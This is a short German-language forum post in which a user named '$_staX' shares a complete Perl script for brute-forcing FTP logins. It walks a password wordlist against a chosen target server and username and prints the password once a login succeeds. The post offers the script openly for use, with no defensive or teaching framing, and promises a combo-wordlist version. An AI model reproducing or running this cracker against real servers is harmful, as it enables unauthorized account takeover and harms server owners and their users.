[Perl] Ftp_Cracker

[$_staX]

Ja mir wars grad nach nem Ftp_Cracker xD
Der username muss bekannt sein, vll release ich noch einen wo man eine combowordlist verwenden kann. Bitte meldet mir Bugs wenn noch welche vorkommen


#!/usr/bin/perl
use Net::FTP;
use strict;
############################
# FTP Cracker #
# $_staX #
############################

my $target = shift;
my $user = shift;

open(List, "< wordlist.txt") || die("\n[ERROR]\twordlist.txt not found!\n");
foreach my $pw(<List>)
{
chomp($pw);
my $ftp = Net::FTP->new($target,Debug => 0,Timeout => 1) || die("\n[ERROR] Can't create FTP!\n");
if($ftp->login($user,$pw))
{
$ftp->quit;
print "\n\n[+]Passwort cracked: $pw\n";
exit;
}
else
{
print "\n[-]Passwort wrong: $pw";
}
}